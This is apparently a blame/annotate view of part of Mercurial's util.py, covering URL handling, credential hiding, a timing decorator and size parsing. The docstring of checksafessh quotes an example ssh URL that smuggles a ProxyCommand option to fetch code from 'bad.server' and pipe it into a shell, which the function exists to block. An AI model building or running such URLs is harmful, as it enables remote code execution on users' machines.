924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2917 """ |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2918 if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2919 s = self.path |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2920 if self.scheme == 'bundle': |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2921 s = 'bundle:' + s |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2922 if self.fragment: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2923 s += '#' + self.fragment |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2924 return s |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2925 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2926 s = self.scheme + ':' |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2927 if self.user or self.passwd or self.host: |
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2928 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2929 elif self.scheme and (not self.path or self.path.startswith('/') |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2930 or hasdriveletter(self.path)): |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2931 s += '//' |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2932 if hasdriveletter(self.path): |
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
2933 s += '/' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2934 if self.user: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2935 s += urlreq.quote(self.user, safe=self._safechars) |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2936 if self.passwd: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2937 s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2938 if self.user or self.passwd: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2939 s += '@' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2940 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2941 if not (self.host.startswith('[') and self.host.endswith(']')): |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2942 s += urlreq.quote(self.host) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2943 else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2944 s += self.host |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2945 if self.port: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2946 s += ':' + urlreq.quote(self.port) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2947 if self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2948 s += '/' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2949 if self.path: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2950 # TODO: similar to the query string, we should not unescape the |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2951 # path when we store it, the path might contain '%2f' = '/', |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2952 # which we should *not* escape. |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2953 s += urlreq.quote(self.path, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2954 if self.query: |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2955 # we store the query in escaped form. |
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2956 s += '?' + self.query |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2957 if self.fragment is not None: |
28883
032c4c2f802a
pycompat: switch to util.urlreq/util.urlerr for py3 compat
timeless <timeless@mozdev.org>
parents:
28882
diff
changeset
|
2958 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2959 return s |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2960 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2961 __str__ = encoding.strmethod(__bytes__) |
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2962 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2963 def authinfo(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2964 user, passwd = self.user, self.passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2965 try: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2966 self.user, self.passwd = None, None |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
2967 s = bytes(self) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2968 finally: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2969 self.user, self.passwd = user, passwd |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2970 if not self.user: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2971 return (s, None) |
15028
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2972 # authinfo[1] is passed to urllib2 password manager, and its |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2973 # URIs must not contain credentials. The host is passed in the |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2974 # URIs list because Python < 2.4.3 uses only that to search for |
eb97a3e38656
http: explain why the host is passed to urllib2 password manager
Patrick Mezard <pmezard@gmail.com>
parents:
15027
diff
changeset
|
2975 # a password. |
15024
0f1311e829c9
http: strip credentials from urllib2 manager URIs (issue2885)
Patrick Mezard <pmezard@gmail.com>
parents:
15018
diff
changeset
|
2976 return (s, (None, (s, self.host), |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2977 self.user, self.passwd or '')) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2978 |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2979 def isabs(self): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2980 if self.scheme and self.scheme != 'file': |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2981 return True # remote URL |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2982 if hasdriveletter(self.path): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2983 return True # absolute for our purposes - can't be joined() |
33096
d9962854a4a2
py3: add b'' to make the regex pattern bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents:
33094
diff
changeset
|
2984 if self.path.startswith(br'\\'): |
14766
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2985 return True # Windows UNC path |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2986 if self.path.startswith('/'): |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2987 return True # POSIX-style |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2988 return False |
4f56b7530eab
subrepos: be smarter about what's an absolute path (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14699
diff
changeset
|
2989 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2990 def localpath(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2991 if self.scheme == 'file' or self.scheme == 'bundle': |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2992 path = self.path or '/' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2993 # For Windows, we need to promote hosts containing drive |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2994 # letters to paths with drive letters. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2995 if hasdriveletter(self._hostport): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2996 path = self._hostport + '/' + self.path |
15496
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
changeset
|
2997 elif (self.host is not None and self.path |
396e83d635a6
url: handle file://localhost/c:/foo "correctly"
Mads Kiilerich <mads@kiilerich.com>
parents:
15488
diff
changeset
|
2998 and not hasdriveletter(path)): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2999 path = '/' + path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3000 return path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3001 return self._origpath |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3002 |
20353
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3003 def islocal(self): |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3004 '''whether localpath will return something that posixfile can open''' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3005 return (not self.scheme or self.scheme == 'file' |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3006 or self.scheme == 'bundle') |
0889585b44f1
util.url: add an 'islocal' method
Siddharth Agarwal <sid0@fb.com>
parents:
20244
diff
changeset
|
3007 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3008 def hasscheme(path): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3009 return bool(url(path).scheme) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3010 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3011 def hasdriveletter(path): |
15609
8f4bad72d8b1
util: fix url.__str__() for windows file URLs
Patrick Mezard <pmezard@gmail.com>
parents:
15505
diff
changeset
|
3012 return path and path[1:2] == ':' and path[0:1].isalpha() |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3013 |
14825
de9eb6b1da4f
util: rename the util.localpath that uses url to urllocalpath (issue2875)
Mads Kiilerich <mads@kiilerich.com>
parents:
14766
diff
changeset
|
3014 def urllocalpath(path): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3015 return url(path, parsequery=False, parsefragment=False).localpath() |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3016 |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3017 def checksafessh(path): |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3018 """check if a path / url is a potentially unsafe ssh exploit (SEC) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3019 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3020 This is a sanity check for ssh urls. ssh will parse the first item as |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3021 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3022 Let's prevent these potentially exploited urls entirely and warn the |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3023 user. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3024 |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3025 Raises an error.Abort when the url is unsafe. |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3026 """ |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3027 path = urlreq.unquote(path) |
33660
3fee7f7d2da0
ssh: unban the use of pipe character in user@host:port string
Yuya Nishihara <yuya@tcha.org>
parents:
33657
diff
changeset
|
3028 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
33650
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3029 raise error.Abort(_('potentially unsafe url: %r') % |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3030 (path,)) |
0b3fe3910ef5
util: add utility method to check for bad ssh urls (SEC)
Sean Farley <sean@farley.io>
parents:
33626
diff
changeset
|
3031 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3032 def hidepassword(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3033 '''hide user credential in a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3034 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3035 if u.passwd: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3036 u.passwd = '***' |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3037 return bytes(u) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3038 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3039 def removeauth(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3040 '''remove all authentication information from a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3041 u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3042 u.user = u.passwd = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3043 return str(u) |
14515
76f295eaed86
util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents:
14313
diff
changeset
|
3044 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3045 timecount = unitcountfn( |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3046 (1, 1e3, _('%.0f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3047 (100, 1, _('%.1f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3048 (10, 1, _('%.2f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3049 (1, 1, _('%.3f s')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3050 (100, 0.001, _('%.1f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3051 (10, 0.001, _('%.2f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3052 (1, 0.001, _('%.3f ms')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3053 (100, 0.000001, _('%.1f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3054 (10, 0.000001, _('%.2f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3055 (1, 0.000001, _('%.3f us')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3056 (100, 0.000000001, _('%.1f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3057 (10, 0.000000001, _('%.2f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3058 (1, 0.000000001, _('%.3f ns')), |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3059 ) |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3060 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3061 _timenesting = [0] |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3062 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3063 def timed(func): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3064 '''Report the execution time of a function call to stderr. |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3065 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3066 During development, use as a decorator when you need to measure |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3067 the cost of a function, e.g. as follows: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3068 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3069 @util.timed |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3070 def foo(a, b, c): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3071 pass |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3072 ''' |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3073 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3074 def wrapper(*args, **kwargs): |
30975
22fbca1d11ed
mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents:
30974
diff
changeset
|
3075 start = timer() |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3076 indent = 2 |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3077 _timenesting[0] += indent |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3078 try: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3079 return func(*args, **kwargs) |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3080 finally: |
30975
22fbca1d11ed
mercurial: switch to util.timer for all interval timings
Simon Farnsworth <simonfar@fb.com>
parents:
30974
diff
changeset
|
3081 elapsed = timer() - start |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3082 _timenesting[0] -= indent |
30473
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
3083 stderr.write('%s%s: %s\n' % |
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
3084 (' ' * _timenesting[0], func.__name__, |
39d13b8c101d
py3: bulk replace sys.stdin/out/err by util's
Yuya Nishihara <yuya@tcha.org>
parents:
30472
diff
changeset
|
3085 timecount(elapsed))) |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3086 return wrapper |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3087 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3088 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3089 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3090 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3091 def sizetoint(s): |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3092 '''Convert a space specifier to a byte count. |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3093 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3094 >>> sizetoint(b'30') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3095 30 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3096 >>> sizetoint(b'2.2kb') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3097 2252 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3098 >>> sizetoint(b'6M') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3099 6291456 |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3100 ''' |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3101 t = s.strip().lower() |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3102 try: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3103 for k, u in _sizeunits: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
